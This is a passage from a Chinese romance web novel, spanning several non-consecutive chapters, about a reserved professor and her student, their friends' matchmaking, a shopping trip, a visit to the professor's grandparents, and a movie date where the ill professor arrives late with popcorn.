白鹭洲自己也不会懂。 她在压抑克制自己的时候,也不敢去真正地正视心中每一个突然跳出来的、可能会真实影响到一些现实的问题。 说话间,宋七月和池柚已经换好衣服出来了。 黎青和白鹭洲很有成年人默契地回归本位,仿佛刚刚的对话没有发生过。 宋七月试了一件碎花衬衫,不俗气,很高级的碎花设计。衬衫下摆是扎起来打了结的,露出一截妖娆腰身,很衬她的身材。 池柚挑了件灰湖绿色的连衣裙,微妙的灰色调,清新的感觉上又多添一抹内敛,像夜空下宁静的草地。 绿色显人白,灰湖绿好像更显一些。无袖的背心口淌出两条牛奶一样的胳膊,裙摆只到膝盖上方,两条纤细的腿和胳膊是一样的白。 “好看好看,都好看。” 黎青笑着夸赞二位美女。 “再试试别的吗?” 宋七月满意地对着大镜子来回看,“我不试啦,就这件。刚刚在换衣间对着里面的镜子都试了一轮了,就喜欢这个。” 池柚不是个纠结的性格,她一开始逛店的时候就一眼看中这件裙子,试衣也只拿了它,只要合身,她就不会再考虑别的。“我也就要这件。” 白鹭洲起身,“那结账吧。” 宋七月啧啧起来,“表甥孙女,你可要出大血了呀。我刚看了吊牌,这店里就没有下一万块钱的衣服。” 这两件衣服加一起,得要快三万了吧。 白鹭洲面不改色地递上卡,毫不在意的样子。 宋七月在心里再次啧啧一声。 看来是真有钱啊。 黎青忽然起身也走过去,给店员递了一张自己的卡。 “七月这一件我来付。” 白鹭洲瞥她一眼:“我答应过我买的。” 黎青:“诶,白教授可不要挡着我给我女朋友献殷勤啊。” 白鹭洲:“……” 宋七月连忙把黎青拉到一边,有点着急地压低声音:“很贵的哎!” 黎青慢悠悠叹了口气,“那可不,太贵了,这一下子可把我攒的几年的奖学金都刷空了。” 宋七月:“那你还——” 黎青:“你心疼我吗?” “你……”宋七月红了红脸,瞄了眼几步之外的白鹭洲和池柚,用胳膊撞了下黎青的小臂,“别乱花钱啊你。” 黎青摸摸她的头,温柔地说:“没事的,你记得心疼我就好。” 白鹭洲不动声色地看着黎青搁那演戏。 普通老百姓认不出来,白鹭洲认得出来,黎青掏出来的那张卡是银行高级VIP的限定卡,她在自己父亲那里见过,无额度上限。 ……这戏多的富二代。 “老师。” 池柚轻轻地唤她。 白鹭洲看向池柚。 “您觉得……” 池柚的耳廓有一点红,手指撚着裙摆侧面。 “好看吗?” 白鹭洲轻掠地上下扫了一眼,没有让自己多看。 “嗯”了一声。 “那我就收下了。” 池柚认真地说。 “很贵,我知道的。我明年一定会送您一样好的生日礼物。” “不用。” 白鹭洲淡淡地撇出两个字。 池柚又想张口问,她的意思是不用送这么贵的,还是不用再送任何东西了。 但眼里的踌躇拦住了她,她也有一点意识到这个问题问出来可能只会自取其辱。 她们……还有明年吗? 池柚很轻地呼出一口气,揪住裙摆侧面的手指缩得更紧了,甚至已经把新衣服捏得起了皱。她的鼻息变得稍微有一点颤,淹没在嘈杂的商场背景音里,除了她自己,谁都听不见。 “给自己省点钱。” 白鹭洲付完账,又清浅地说了一句。 池柚抬起睫毛,嘴巴有点惊讶地微张开,看向白鹭洲。 不知道是不是她那一声好像没有人会听见的颤抖的呼吸飘入了对方的耳朵,于是她纷纷扰扰的思绪也飘了过去。 对方将她的纠结收纳,过滤,拣择,筛洗,反向流转出来,透过密密的网布,穿过一层层高墙,像海浪选出了深海里最不会引起人绮念、却又最能安抚她的小贝壳,冲刷到了属于她的海滩上。 然后就相当于侧面地回答了那个她不敢宣之于口的问题: 是不用送那么贵的,还是不用再送任何东西了? ——“给自己省点钱。” 意思是你可以送,送便宜点。 我们还有明年。 不论那时,我们的关系落在了哪一种定义里。 第040章 四个人买完衣服以后, 大家又聚集在一起去负一层的小吃区买了些关东煮和甜点,拿在手上边吃边逛,吃不完的就拎回去当夜宵。 回到别墅后, 分别回房前,黎青提起明天的行程。 “明天要出海去海钓, 早点休息。我看了天气, 很晒, 记得做好防晒,各位。” 林慕橙:“好咧,谢谢黎大佬!” 程枣枣:“晚安咯大家, 小柚子记得回去拆礼物哦。” 宋七月:“拜拜咯。” 池柚:“拜拜姐姐们,晚安。” 白鹭洲拎着一盒甜甜圈走在最前面,没有留下来和她们寒暄告别。 池柚道别完后连忙追上白鹭洲,说着“谢谢老师”, 从白鹭洲手上接过那盒甜甜圈。 她在逛商场的时候买了好几样好吃的, 一手拿糖葫芦,一手拿冰淇淋蛋筒,还想吃甜甜圈。没手了,于是白鹭洲帮她拎了一路。 池柚时刻谨记白鹭洲的禁忌, 翘着兰花指将甜甜圈的袋子从白鹭洲手上卸下来, 一点儿也没碰到对方。 白鹭洲静静地等她卸完货,转身刷房卡打开了门。 在背对池柚的时候, 她有点迟钝地想起刚刚池柚小指翘得老高去取袋子的认真样子, 门锁发出“滴”的开锁声,她在开锁声的短暂掩盖里, 似有若无地笑了一下。 “你先洗,然后我再帮你重新上药包扎。” 白鹭洲脱下外套, 挂在衣架上。 池柚:“昨晚不是才包了么?” 白鹭洲:“每天都要换药,不然发炎。” 池柚:“好。” 白天在烤肉店吃饭的时候,其他人知道了池柚胳膊受伤的事。 她们惊讶了一下,但又不是特别吃惊,没有张大眼睛张大嘴巴说“啊你怎么都不说一个人忍那么久好心疼你哦”,而是说“不愧是小柚子你啊,一如既往的懂事,不忍心叫姐姐们担心”。 白鹭洲也不知道那时候她心里一闪而过的感觉叫什么。怪怪的。 她其实希望看到池柚舍友们更愕然的样子。或许是因为,她们越平静,越代表着池柚的这种懂事是一种司空见惯的常态。 而这种习惯了“隐瞒”的常态,让白鹭洲又想起了对黎青说的那一段假设。 仿佛再一次让她确定。 如果池柚步入了一段错误的关系,池柚真的会因为善良而隐瞒自己所有真实想法。 …… 依旧无解。 池柚去洗澡时,白鹭洲还是和昨天一样,坐在单人沙发里,低头看笔记本电脑。 这已经是她们住在一起的第二天了,第一天那种淡淡的尴尬感消退了不少。白鹭洲维持自己不抬头的动作也少了几分僵硬,更专心地投入了手里的工作。 池柚洗好以后坐过来,白鹭洲放下电脑拿过药箱,重复昨天的包扎流程。 有点无聊,池柚看着白鹭洲帮自己上药,顺便单手拆开了甜甜圈的盒子,吃甜甜圈。 甜甜圈里面裹着香浓的巧克力酱,爆浆的,很容易吃到嘴巴周围。池柚就拿了一叠纸放旁边,不小心沾到嘴角,就用餐巾纸擦干净,纸巾叠好放在膝盖上。 再沾到,她就拿起纸巾,再叠一下,仔细擦去。 爆浆甜甜圈,这么好的道具,要是搁在言情小说里,怎么不得让女主沾一嘴然后男主深情地凑过来盯着对方的眼睛温柔地用大拇指揩去,没准两个人一对视,还得亲一口。写得暧昧点,主角甚至可以直接用嘴去吻干净那些巧克力酱,然后眯着眼睛回味说哎哟好甜哦。 但池柚又乖又实诚。 自己一个人揣着一沓纸巾安安静静地吃,吃脏了就自己安安静静地擦,一点儿不叫人操心的样子。 “我有一点不舒服,一会儿洗完澡就先睡了。你吃完记得刷牙。” 白鹭洲将棉签丢进垃圾桶,忽然说。 池柚听白鹭洲说不舒服,便马上问:“哪里不舒服?” 白鹭洲:“肚子。” 池柚:“肚子?是……”生理期? 白鹭洲:“吃坏了。” 池柚飞速地沿着今天白鹭洲的饮食想了一遍,刚刚逛负一层时的两颗关东煮,快餐店的一支迷你小蛋筒,四楼的烤肉,还有……下午那一大块蛋糕。 仔细想想好像都不是特别卫生的感觉,不过那块隔夜的蛋糕是罪魁祸首的概率应该是最大的。 池柚紧张地坐直了,“那怎么办?我、我去找……” “这里有药,”白鹭洲点了点药箱,“我吃两颗就行,不严重。” 池柚:“很疼吗?” 白鹭洲:“还好。” 白鹭洲的“还好”和普通人的“还好”不一样,如果真是还能忍受的轻度疼痛,白鹭洲会说“不疼”,而她说“还好”,其实就是要更严重一点了。 可她包扎的时候坐得也太直了,完全看不出来身体哪里不适。 池柚放下甜甜圈,抿了下嘴唇上的巧克力酱。 茶几上的乱摊子收拾完后,池柚去洗漱干净刷了牙。白鹭洲让她去睡觉,犹豫了一下,多嘱咐了句别乱看。 昨晚她洗的时候池柚已经睡着了,没有现在这么…… 尴尬。 又尴尬了。 还好池柚是个顶听话的小老实人,白鹭洲进卫生间后她虽然没有上床睡觉,但坐在沙发上转了过去,背对卫生间,咬着手指头等。 她很担心白鹭洲,不知道白鹭洲的不舒服到了什么程度,还会不会更难受。所以她就坐在这儿,强撑精神不睡觉,以备白鹭洲不时之需。 淋浴间里。 白鹭洲脱衣服时看了眼玻璃门外。 从里面向外看,什么都不看清,比从外向里看要模糊很多。她也看不见池柚现在的位置,不知道池柚到底有没有乖乖去睡觉。 她又往里面站了站,踌躇片刻,才开始解衬衫扣子。 解到一半,她终于忍不住小小地吸了口气,捂住腹部弯了下腰,手指撑在了瓷砖墙上。 是一阵一阵的抽痛,不怎么连续,来的时候却像碾着她身体里的一根筋,反复倾轧。 她自己知道是哪一个食物导致的,因为从逛商场之前她就开始隐隐作痛了。 “嗯……” 她闭上眼,这一声嗯更像是叹气。 缓了一会儿以后,白鹭洲睁开已经有点湿漉漉的睫毛,继续慢慢地脱掉衬衣。 她是水墨画一样的人,很白,很瘦,身形薄,颈长骨细,四肢纤长,因此总蕴含着清雅的古典韵味。 她脱掉衬衣,就像水墨画从现代* 都市的衣饰包装纸里取出来了,徐徐展开,又让人开始想用白玉与古琴去描写她。 她承起一点疼痛时,便是白玉裂碎纹,古琴颤弦音。 能用上这句形容的白鹭洲需要两个限定条件。 一个是没有穿衣服。 一个是要携着脆弱的病气。 缺一不可。 所以此刻的这幅水墨十分难得。 热水从淋浴头里冲出来,白鹭洲站在水里又闭上眼,让水流从头顶往下淌。想从脊梁骨那里开始,到尾椎结束,叫热水顺走神经里的疲惫与抽痛。 因为今天比平常要更累更痛一点,所以她用了比平常更久的时间在洗澡上。 偶尔想起池柚还在外面的时候,她会稍微侧一下肩,让背朝外。 洗了大概有快一个小时,地面的积水都淹没脚趾了,她才关上淋浴,穿衣服。 纯白色的丝质睡衣披上肩头,袖子穿进去,扣子一粒一粒扣好,水墨画又裹进了矜贵的现代装裱里。 白鹭洲又花了二十分钟吹干头发,感觉到腹部好一些了,手指捏了捏疲倦的眉心,才打开门出去。 池柚真就没乖乖上床睡觉。 清清瘦瘦的一团,背对着卫生间蜷在沙发里,听到门响也不动弹,身体呼吸起伏均匀。 ……睡着了。 又跟昨天一样,在沙发上睡着了。 不过这次是生生等睡着的。 白鹭洲先坐下休息了一会儿,喝了点水。然后默默起身走到池柚床边,拿了被子,过来将池柚严严密密地裹到被子里,隔着被子将她端回床上去。 也是跟昨天一样,把她卷成毛毛虫,然后送她去睡觉。 很累了,腹部也不舒服,白鹭洲今天的动作吃力很多,她还要控制自己尽量不发出太大的呼吸声,免得吵醒池柚。 端完池柚,她又去收拾了一下有点乱的沙发。 沙发上有池柚脱下来的外套,没有挂起来,也没有放回脏衣袋里。白鹭洲拎起来准备叠好时,看见外套的领口有两块烤肉沾上的油星。 …… 她拎着衣服,使劲闭了闭眼,去掉脑袋里的那抹昏沉,又在原地缓了一会儿。 然后呼出一口气,吐出一点小腹痉挛般的疼痛,再次走向卫生间。 白鹭洲站在水池边,挽起袖子。 她开始给池柚洗衣服。 白鹭洲没有打湿衣服全部,只打湿了沾了油星的那一块,拆了台子上的一次性香皂。这种一次性香皂不太好用,不过也暂时找不到别的。 别墅没有洗衣机,大家都是将每天的脏衣服收纳起来准备一块带回家的。可油点这种污渍放久了就洗不掉了,最好是当天清洁。 只洗这一小块,一会儿用吹风筒吹干,不会被任何人发现。 一次性香皂需要像橡皮一样使劲擦上去,不能沾太多水,得撚在指关节里使劲搓,才能搓掉一些颜色。 搓着搓着,白鹭洲咳了一声,沾着泡沫的手支在水池的陶瓷盆边,又疼弯了腰。 这次好一会儿,抽痛才过去。 她的大脑因为劳累和腹痛变得有点模糊了。 但此时此刻抵着肚子,扶在水池边,她只想到了一件事情。 今天过得好长,做了很多事,去了好些地方。 可她一直都忘了和池柚说一声:生日快乐。 50-60 第051章 宋七月无话可说。 怎么不可以呢, 当然可以了。白鹭洲有这种觉悟,她还应该给她鼓鼓掌,夸一句你好棒才对。 但宋七月察觉到了笼罩在白鹭洲身上的阴郁, 让她没办法像平时那样将揶揄的话说出口。 白鹭洲的状态很不好,她看得出来。生着病, 饭也不怎么吃得下去, 或许也没怎么睡过好觉, 所以人一下子瘦了那么多。 在这种身体状况下,白鹭洲又是怀着怎样的心理去探索那种事情。 很难想象。 真的仅仅只是出于身体的欲望吗? 还是在逼着自己,逼到了不择手段, 想要打破某些囚困着她的樊篱? 其实宋七月也想问问白鹭洲,她现在这个样子,是不是因为池柚。 宋七月不太清楚白鹭洲和池柚之间究竟发生了什么,她们这些外人只看得到结果, 就是池柚选择抽身了。 她们不明白原因, 只能尽量避而不谈那件事。 毕竟表面上看来,现在的结果没有什么不好。白鹭洲一直在拒绝,如今得偿所愿。池柚也愿意试着走出去,不再纠缠。她们这些朋友没必要再插手什么, 似乎顺其自然就是最好的局面了。 可是…… 如果白鹭洲没有想象中过得那么好, 是不是说明…… 心里虽有想法在跃动,但宋七月想了半天, 也想不出这现状具体能代表些什么。 白鹭洲这人实在太隐忍, 太能藏,让人永远也猜不透她的真实想法究竟如何。 宋七月在发呆的时候, 白鹭洲已经走出卧室了。她收拾了餐桌上的剩饭,背着琵琶, 提醒还在卧室的宋七月:“走了。” “哦哦,好。”宋七月回过神,小步跑出去。 她们直接下到地下车库,白鹭洲开车带宋七月过去。 白鹭洲的车是一辆SUV,哑光龙石绿色,很漂亮,看着不便宜。不过车标挺陌生,宋七月这种只认识大厂车标的没见过,她对车本来也不感兴趣,就没多问。 “以前怎么没见你开过这车啊?”宋七月坐进去,左右观察里面的内饰。 白鹭洲系好安全带,轻声说:“你见我开过几次车。” 宋七月:“好像还真没见过几次,你一直打车来着。那你有车为什么不常开啊?” 白鹭洲没回答,只打着火,开始倒车。 如非必要,她是绝不会在别人面前提及自己脚踝的事的。 宋七月对白鹭洲这种问了上句没下句的情况已经习以为常,她小翻了个白眼,懒得再和对方搭话,掏出手机找黎青聊天去了。 一路沉默。 到胡同巷口,车停在外面,两个人下车,步行进入小巷。 在巷口,白鹭洲还是和往常一样,去老点心铺买了一份枣泥糕。 进入白柳斋,奶奶和爷爷正在石榴树下的小石桌边喝茶。看见白鹭洲和宋七月一起进来,奶奶很高兴,左一个“洲洲”右一个“小七”地叫,接过枣泥糕,很珍惜地立马拆开,装盘端出来让大家一起吃。 白鹭洲不想在爷爷奶奶面前咳嗽,所以嗓子痒的时候就清喉咙,茶也一直在喝,水续起来没停过。 奶奶注意到了,关心地问:“喉咙不舒服吗?看你脸色好白,生病了?” 宋七月多嘴帮答:“那可不嘛。” “没事。” 白鹭洲放下茶杯,云淡风轻。 “不严重。” “真没事哦?” 奶奶皱眉,仔细观察白鹭洲的状态。 “要是不行的话你就说,苏江那边推就推掉了,老汪和我是老朋友了,他不会放在心上的。” 白鹭洲给茶杯里续茶,又清了清喉咙。 “没关系,既然答应了汪伯伯,那就去吧。况且……” 淅淅沥沥的茶水慢慢将茶面续到快过半的位置。 “最近忙一点也好。” 爷爷一直没说话,似乎已经从白鹭洲的细微言行中看出了什么。 李恩生沉思片刻,缓缓开口: “洲洲,你记不记得,之前一连好多年,总有一只黑色的乌鸦来这棵石榴树的枝头落着?” 乌鸦……? 怎么突然说这个? 宋七月好奇地抬眼。 白鹭洲倒茶的动作一滞。 “嗯,记得。” 奶奶也想起来了。 “是有这么个事。不过那只乌鸦很奇怪哎,一般来说鸟类不都是随着季节迁徙的吗,但那个鸟来得就没什么规律,有时候隔一个月来一次,有时候三五天就来一次。我寻思它可能有灵性,想着留下来养着也好,结果给它筑了巢,院子里撒好多谷子,它也还是没愿意在咱这儿定居。后来也不知道是死了还是怎样,再也没来过了。” 爷爷笑了笑,“是啊,洲洲很喜欢那只乌鸦呢,还给它起了名字,叫‘小乌黑’。每次在书房工作时,累了,抬头就能看见那只乌鸦站在枝头,一直陪着她。因为习惯了被陪着,所以它不来的时候就期待它来,它彻底消失以后,她也不适应了很久。” 他从白鹭洲的手上拿过茶壶,帮她继续倒。 “可是当时再不舍得,过去了这么长时间,现在你也已经想不起来它了,对不对?” 白鹭洲的嘴唇动了一下,欲言又止。 爷爷将倒好的茶推到白鹭洲面前。 “时间会冲淡一切习惯的。” 宋七月都听出来了李恩生的话里面隐藏的深意。虽然* 不晓得李恩生是怎么知道池柚的事的,还是在心里暗叹一声,文化人安慰起人来是不太一样。 白鹭洲攥住杯子,良久。 她忽然抬起眼,看向李恩生。 “冲不淡的。” 李恩生顿住。 白鹭洲很轻地一字一句说: “我从来没有忘记过那只乌鸦。” 李恩生还想说些什么。 白鹭洲却站了起来,拎起她的琵琶琴包,转开了话题:“奶奶,我知道你会担心我嗓子的状态,所以特地带来了琵琶。你听听我的演出曲,看看效果。” 奶奶:“原来你带琵琶来是为了这个。” 白鹭洲:“对,让您放心一点。” 奶奶:“好好,洲洲果然懂事,但你也别勉强。” 白鹭洲:“不勉强。” 石桌边空间有限,白鹭洲去搬了一把椅子来,坐在离石桌众人稍远一点的地方,抬起二郎腿,将琵琶抱在怀中,一边清脆地拨动琴弦,一边拧动琴轴调音。 她可以不用调音器,直接用耳朵来校准音调。 宋七月支着下巴看白鹭洲调琴。 白鹭洲时不时还会咳,但她强忍着,没有一声咳出来,只会鼻息震颤一下,然后胸口随着轻轻一突,锁骨的轮廓会忽然锐利一瞬。 纤长的手指按在琵琶弦上,仿佛新雪堆在石榴树的细枯枝头,雪与枯枝都淋着簌簌冷意。同样裹着冷意的眼眸低垂,认真地看着琵琶,黑压压的睫毛遮住了眼睛,几乎没有眨动。 宋七月不禁又想起今天在白鹭洲卧室床头柜上看见的东西。 宋七月以为,那个画面只要出现在脑海里,她就会感觉浑身刺挠,气血上涌,脸红,难以面对。可看着现在的白鹭洲,她发现自己并没有想象中的反应。 白鹭洲太冷了,冷到和“欲望”这个词成了对立面。让人莫名觉得,冰冷的她,生着病的她,做那种事,并不会沾上任何旖旎色彩。 甚至,宋七月认为,是带了痛苦色彩的。 或许是因为白鹭洲已经无力再做更多的掩饰,她的压抑逐渐具象化到了她的眉毛、眼睛、唇角。 她虽然依然会关心家人、和宋七月开削苹果的玩笑、解释一两句开车的事情,但只要多注视她一会儿,注意到她总是垂得很低的眼睛,以及习惯性紧绷的唇缝,就会知道,她现在恐怕很难让自己笑一笑了。 那她还能享受那种事的欢愉吗? 亦或欢愉也会到来,可她在到来之际,是长久的郁结得到释放,还是不解、空洞、怅然、以及发现怎么做也仍旧改变不了现实的无力? 她的樊篱还是存在,她还是找不到说服自己的证据。 没有结果的挣扎,只会让人共情挣扎者的煎熬,不忍心再去想别的。 这可能就解释了为什么宋七月会有这样心情。 宋七月看着白鹭洲冷冷淡淡地弹起琵琶,唱起第一句评弹的调子,皱了皱眉,歪着头啧了一声。 不知道为什么,这场景,这人,就是突然觉得哪里怪怪的。 不止是刚刚那些原因,还有别的原因。 “嘶……”宋七月偏过脸去,小声问白碧英,“大表姐,你有没有觉得哪里不太和谐啊?” 白碧英听了会儿,说:“她嗓子听起来还清亮,但仔细听就知道本音哑了,是努力掐的,有点不太自然。” 宋七月:“不是这个,您也太高看我了,我哪听得出这名堂啊。” 白碧英:“那是什么?” 宋七月又观察了好阵子。 “啊,我发现了!” 宋七月的拳头落在掌心,砸了一下。 “她这时候是不是应该穿一件旗袍啊?” 白鹭洲此刻坐在一把古色古香的太妃椅里,抱着一把古朴典雅的琵琶,头顶是一片上百年的老石榴树,唱着一支古韵悠长的曲。可她身上却穿了一件现代化的白衬衫。 衬衫是略宽松的版型,下摆扎进黑色裤子里,袖口挽到了小臂上方。 这分明是她在海岛上习惯的穿着。 然后宋七月就想起来了一件事。 在浅滩边吃饭聊天的时候,她们偶然得知过,池柚曾经夸过白鹭洲穿衬衫比穿旗袍好看。 奶奶笑了一下,说: “是啊,是该穿旗袍。但也不知道怎么回事,自从旅行回来,我见过洲洲的几面里,她就一直只穿衬衫了。” 宋七月张了张嘴,目光再次落到白鹭洲的衬衫上。 她想起那次浅滩边烤肉时的对话,和海边白鹭洲穿过的每一件衬衫。 想起白鹭洲床头柜上的东西,还有地上散落的卫生纸团。 甚至想起那只黑色的乌鸦。 她忽然就明白了。 其实,一直没有准备好道别的人,是白鹭洲。 第052章 从白柳斋出来后, 宋七月撑着伞等网约车时,给黎青发消息: 【我觉得,我们可能还是需要, 再帮一个忙。】 黎青很快回复:【猜到了。】 宋七月:【猜到什么了你?】 黎青:【知道你要去见白教授的时候,就猜到你见完后会想要再帮忙撮合她们一次。】 宋七月:【哇你能不能不要这么聪明?】 黎青打来了语音电话。 黎青:“你想要怎么帮?” 宋七月:“你先告诉我你怎么猜到的。” 黎青:“没什么可说的, 因为没有特别有逻辑的推测过程, 就是直觉而已。” 宋七月:“……行吧。我其实也没计划, 你来想想呗。” 黎青:“在你走的这几个小时里,我已经想好了。” 宋七月的手机响了一下,提示收到了新消息。 她没挂语音, 放下手机看了一眼。 宋七月:“……” 宋七月:“你,做了个,PPT?” 黎青:“她们现在这个状态哪还跟以前一样容易撮合啊,我不得保证万无一失么。” 宋七月叹气。 “我现在真是又想损你, 又觉得你这可靠的德行, 怎么莫名其妙的还怪迷人的。” 黎青轻笑。 事实证明,黎青的行为纯粹是多虑了。 她们等池柚归校后,挑了个合适的时候问池柚,能不能周末的时候一起去看电影。问的时候也很坦诚, 说可能会邀请白鹭洲一起去, 看池柚介不介意。 “周末?” 池柚的重点却不在白鹭洲身上,而是时间。 “确实是有一天的空闲, 可以啊。” 刚好, 她从乡下回来以后,已经去地下室完成了最后一部分, 正不知道该怎么告诉白鹭洲。这凑巧就是个好机会。 宋七月挺惊奇:“你就这么答应了,一点儿都不避讳她么?” 池柚摇头, “我是告别了对她的感情,又不是告别了她这个人。而且之前答应过她的,以后还要带着喜欢的人和她一起吃火锅,怎么会避讳见面呢。” 宋七月:“啊……” 好彪悍的思维。 “不过,既然答应过她要带着喜欢的人,这下要见面的话……” 池柚皱着眉想了一会儿,其实有点不太想再次开启和柴以曼的尴尬对话。 “我要带着别人过去么……” 黎青马上阻止:“算了吧,你也别一根筋,不带也没什么的。” 这要是带了可还得了。 池柚乖巧点头,“好。” 等池柚爬上宿舍床睡觉了,黎青和宋七月准备出去夜走。 下楼的时候,宋七月惴惴不安地和黎青说: “我怎么觉得怪怪的。” 她咂了咂嘴。 “小柚子不会是真放下了吧,你看她,一点不在意的样子。” 黎青:“不在意就不在意了呗。” 宋七月:“说什么屁话,要真这样,那咱们做的这些还有什么意义?” 黎青:“当然有意义了。” 宋七月:? 黎青耸肩:“给白教授一个追妻火葬场的机会,不好么?” 宋七月笑不出来,“要是搁以前,我肯定跟你一样是看热闹的心态。唉,你是没见到白鹭洲本人,她现在那个状态,我真有点担心……” 黎青:“状态很糟的话,不就更不用担心了。” 宋七月:“为什么?” 黎青:“因为小柚子会心疼她的。” 宋七月:“你刚不是还说她可能不在意了……” “其实会在意的。” 黎青揽住宋七月的肩,安抚地揉了揉。 “你啊,还是不了解小柚子。” 可是黎青也不敢说自己就完全了解池柚。 她只能大概猜到,池柚的感情还没完全消退掉。然而池柚到底会怎么选择,白鹭洲又能不能和之前有一点点的不一样,她都拿不准。 最后一次的帮忙了,就这样吧。 她们确实已经尽力了。 第二天宋七月给白鹭洲发了微信消息,说了周末约看电影的事,也坦然地和她说了池柚会去的事实。 隔了一天之后,才收到了白鹭洲的回复。 宋七月看到得有点晚了,只看见对话框里显示对方撤回了一条消息,然后才是一个字: 【好。】 也不知道那条被撤回的消息是什么。 宋七月不清楚池柚和白鹭洲期不期待周末的到来,反正她是怪期待的。好坏总要有个结果,她和黎青做的无非是给结果延出另一种可能。这个可能不论走向哪里,对她们四个人来说都算是一种交代。 周末这一天,下午六点,黎青和宋七月准时带着池柚在电影院检票口等待开场。 今天还是在下雨,雨势小了一点。电影院的保洁阿姨还是在一刻不停地拖地,客人们鞋上和伞上带的水很容易积在瓷砖上,很滑,危险得很。 广播宣告要入场了,等待的观众从座位上起来,涌向检票口排起长队。 电影还有十分钟开始。 可白鹭洲还没来。 池柚用长柄伞杵着地,盯着地上的水渍不说话。 她听见宋七月在尝试给白鹭洲打电话,也听见宋七月骂骂咧咧地不停地说“怎么不接”“搞什么啊”“不是都答应了吗怎么放鸽子啊”。 时间一点一点过去,在广播最后一次催促入场时,黎青叹了口气:“进去吧,不等了。” 池柚弯了下嘴角,说“好”。 她们的票在最后一排,离屏幕有点远。 是个青春狗血伤痛爱情电影,宋七月挑的。绿蒙蒙的滤镜,让本就显远的屏幕更模糊。 池柚有点困了。 不只是因为电影无聊,还因为,她昨晚失眠了。 她确实,也对这次的见面有点紧张。 池柚其实很感谢黎青和宋七月给她一个机会,有这么好的一个理由,可以光明正大地见白鹭洲一次。不仅仅是因为地下室的事。 她从来都不否认,她想见到白鹭洲。 当初答应白鹭洲去喜欢别人,也有一部分原因是,白鹭洲说只要她喜欢上别人,她们就可以继续见面。哪怕是作为普通师友那样相处,起码,她不用向白鹭洲这个人告别。 她的人生经历不住几次“再见”的。 告别感情,已经是她能直面的最困难的痛苦了。 她现在已经可以把情绪压得很好。在乡下小别墅的几天里,她又好好地训练了自己一番,她相信现在别人看不出什么端倪。这样她就能松口气,再见到白鹭洲,便可以伪装到对方什么也看不出来的地步。 如此这般,白鹭洲应该就能安心地继续和她相处,继续日常的相见,然后安稳步入她们即将到来的普通师友关系里。 时间再久一点的话,她相信,连自己也可以说服。 到真正完全放下的时候,她再去认真地、慎重地、考虑别的人。 柴以曼也好,任何其他人也好。 她把决定权交给基因。 到那时,基因让她选择谁,她就选择谁。 那个节点到来时,朋友们,妈妈,还有白鹭洲,都会彻底放心了吧。 所以…… 所以,今天白鹭洲没有来,会是因为,还没有彻底放心吗? 池柚又忍不住自责起来。 她要是可以做得更好一点就好了。 如果那天,她不是只说了句“再见”然后转身就走,而是继续看着白鹭洲的眼睛,告诉她自己真的放弃了,让她不要担心,会不会更妥当一些? 她还是太软弱了,不够强大。没人知道,那句“再见”让她差点控制不住表情和身体。 很难。 说“再见”真的,很难。对她来说。 电影放了什么,池柚也不清楚,一直在走神。 不知道还有多久才结束,进度应该已经过半了吧。 她正默默计算着时间,忽然听到有很轻的脚步逐渐走过来。她以为是坐在里面的人要借过,往后退了退。 那人却没从她膝盖前过去,而是轻轻地落座在了她旁边的空位上。 随后,一个满满的爆米花桶放在了她和那人座位中间的扶手空当里。 “对不起,来晚了。” 很久都没听到过的熟悉声音卷着疲惫轻浅地响起。 池柚转过头,惊讶地看向坐在身边的人。 白鹭洲在昏暗的屏幕光线里,苍白得像是一张半生熟宣纸。 她穿着件新衬衣,黑色的。不知道是因为衬衣是黑色,还是因为衣服本来就宽松,她整个人显得好瘦,脖颈和袖口里探出的一截手腕细得仿佛一折就能断。 鸦黑的长发有一点乱,发尾上还有未干的雨,染得一身潮湿凉意。 她嘴唇越抿越紧,胸口蓦地颤抖两下,连带着喉咙和鼻子也抖了两下,闷沉的鼻息声紊乱了几秒。 不难分辨,她在强忍住咳嗽。 宋七月注意到了姗姗来迟的白鹭洲,本来看电影抹着小眼泪的她一下子不悲伤了,皱起眉,俯过来撑在池柚的扶手上,压低声音问: “你干嘛去了?我打你手机你怎么不接啊?你票都没有怎么进来的?怎么神出鬼没的你这人……” “苏江的演出提前到今天了,忙得比较晚。我才从苏江开车赶回来。” 白鹭洲的声音哑得不行,不知道是唱的还是病的,掩都掩不住。 “没顾得上看手机,重新买了张票进来的。” 因为她刚说完话,刺痒袭来时想忍也没时间给她忍了,接连不断的咳嗽从她喉咙里剧烈地溢出。 她捂住嘴侧过头去,尽量控制得小声,咳得眼白都发红。 “你……” 池柚坐直了起来,差点就没绷住。 她理智回笼了一刹,吞了吞口水,稳住心神。 “您还好吗?” 白鹭洲咳完,慢慢喘气,平复了一会儿。 “没事,不严重。” 她的嗓子更哑了。 “……” 池柚深呼吸一轮,攥紧双手,逼自己看屏幕,不要再看向白鹭洲。 可是下一秒,她的余光看见细长漂亮的手指向前伸去,放在了爆米花桶上。 然后手指握着爆米花桶的边沿,向她这边倾斜了一点。 沙哑的声音低低地对她说: “给你买的,吃吧。” 第053章 池柚盯着大屏幕, 心跳乱了几拍。 明明白鹭洲也没有说什么过分的话,没有做什么特别大的事,只是将一个爆米花桶向她斜了一点, 可她却觉得自己的心仿佛也斜了一点。 那只漂亮的手不是放在了爆米花桶上,而是放在了她已经刻意关掉的情绪开关上。 她已经踏入第二阶段的一只脚, 突然就被往回拽了一下。 池柚用了很大的理智去压制, 才没有让自己的脚步往回退。 她意识到这样的情况以后还会有很多, 只要她和白鹭洲见面,她们两个人相处、交集,她就会因为一些很小很小的事情而摇摆。 因为太不舍得放弃了, 所以,她的潜意识会开启某种自我保护机制,让她的大脑骗她,给她希望和憧憬, 好像这些细节可以说明白鹭洲对她有了什么不一样。 但她知道不是的。 白鹭洲曾经告诉过她, 那都不是回应,只是一个老师对一个学生的正常关心。 ——“我只是在帮我的一个学生而已。” ——“一点私心都没……” ——“没有。” ——“要是老师的其他学生也遇到难处,老师也会……” ——“也会这样。一模一样。” 也会这样。 一模一样。 所以其实,这桶爆米花也没有什么不一样。 都是大脑反射神经给她的错觉罢了。 池柚隐隐地苦笑, 收拾好心情, 让刚刚翻涌了一小下的心海重归平静。 她自然地伸出手去,捏爆米花吃。 “老师, 您也吃。”池柚用很平常的语气说。 白鹭洲:“不了, 我嗓子不舒服,咽不下去。” 池柚:“那您刚刚应该再买杯饮料的, 喝一喝润润喉咙。” 白鹭洲:“……忘记了。” 宋七月又凑过来小声和她们说话:“哎,表甥孙女, 你苏江的行程提前到今天,怎么不早和我们说呢?时间撞了,你可以不来的呀。” 白鹭洲沉默片刻,“我看时间来得及。” 